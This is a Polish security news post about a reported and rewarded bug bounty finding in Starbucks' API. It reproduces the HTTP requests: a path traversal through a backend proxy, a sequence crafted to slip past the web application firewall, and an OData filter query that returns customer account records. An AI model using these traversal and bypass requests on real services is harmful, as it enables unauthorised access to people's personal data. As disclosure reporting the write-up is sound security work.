Żądny wiedzy? Wbijaj na Mega Sekurak Hacking Party w maju! -30% z kodem: majearly

Dostał się do danych ~100 000 000 klientów Starbucksa. Dziurawa obsługa kart rabatowych dała mu $4000 nagrody :-)

22 czerwca 2020, 13:23 | W biegu | komentarze 2

Ciekawe znalezisko w kontekście bezpieczeństwa API. Nieco zniecierpliwiony brakiem znalezisk w innym programie bug bounty, badacz postanowił sobie zrobić przerwę, a że były urodziny jego przyjaciela postanowił zakupić mu praktyczny prezent – kartę prezentową Starbucksa.

Zakup zakupem, ale można trochę pogrzebać w żądaniach do API. Np. taki endpoint zwraca szczegóły bieżącego użytkownika

POST /bff/proxy/orchestra/get-user HTTP/1.1
Host: app.starbucks.com
{
  "data": {
    "user": {
      "exId": "77EFFC83-7EE9-4ECA-9049-A6A23BF1830F",
      "firstName": "Sam",
      "lastName": "Curry",
      "email": "samwcurry@gmail.com",
      "partnerNumber": null,
      "birthDay": null,
      "birthMonth": null,
      "loyaltyProgram": null
    }
  }
}

Podejrzane może się trochę wydawać proxy. Jest to… proxy działające pomiędzy frontendem z systemem wewnętrznym Starbucksa:

proxy

A może udałoby się jakoś ominąć uwierzytelnienie odwołując się do endpointa, do którego mamy uprawnienia? Udało się ;) za pomocą path traversal:

GET /bff/proxy/stream/v1/users/me/streamItems/web\..\.\..\.\..\.\..\.\..\.\..\.\search
Host: app.starbucks.com
HTTP/1.1 301 Moved Permanently
Server: nginx
Content-Type: text/html
Content-Length: 162
Location: /search/

Czyli tutaj mamy uprawnienia do: /v1/users/me/streamItems/web ale po przetworzeniu przez proxy, odwołujemy się de facto do /search Skąd taka dziwna ścieżka składająca się z fragmentów \..\.\..\ (zamiast ze zwykłych \..\) ? To ominięcie WAF-a. To było dla WAF-a podejrzane (blokował):

GET /bff/proxy/stream/v1/users/me/streamItems/..\..\

Ale tego już nie:

GET /bff/proxy/v1/me/streamItems/web\..\.\..\ HTTP/1.1
Host: app.starbucks.com

Wracając do core rozważań. Czym jest endpoint /search ? Wyszukiwarką wszystkich użytkowników (w bazie było ich ~100 000 000). I co więcej można stosować zapytania z filtrami – np. szukając specyficznego username:

GET /bff/proxy/stream/v1/users/me/streamItems/web\..\.\..\.\..\.\..\.\..\.\..\.\Search\v1\Accounts?$filter=startswith(UserName,'redacted') HTTP/1.1
Host: app.starbucks.com
{
  "@odata.context": "https://redacted.starbucks.com/Search/v1/$metadata#Accounts",
  "value": [
    {
      "Id": 81763022,
      "ExternalId": "59d159e2-redacted-redacted-b037-e8cececdf354",
      "UserName": "redacted@gmail.com",
      "FirstName": "Justin",
      "LastName": "Gardner",
      "EmailAddress": "redacted@gmail.com",
      "Submarket": "US",
      "PartnerNumber": null,
      "RegistrationDate": "2018-05-19T18:52:15.0763564Z",
      "RegistrationSource": "Android",
      "LastUpdated": "2020-05-16T23:28:39.3426069Z"
    }
  ]
}

Za znalezisko wypłacono nagrodę $4000 w ramach oficjalnego programu bug bounty.

–ms

Spodobał Ci się wpis? Podziel się nim ze znajomymi:



Komentarze

  1. Ed

    A droga redakcjo szacunkowo za ile sprzedalby te dane na czarnym rynku?

    Odpowiedz

Odpowiedz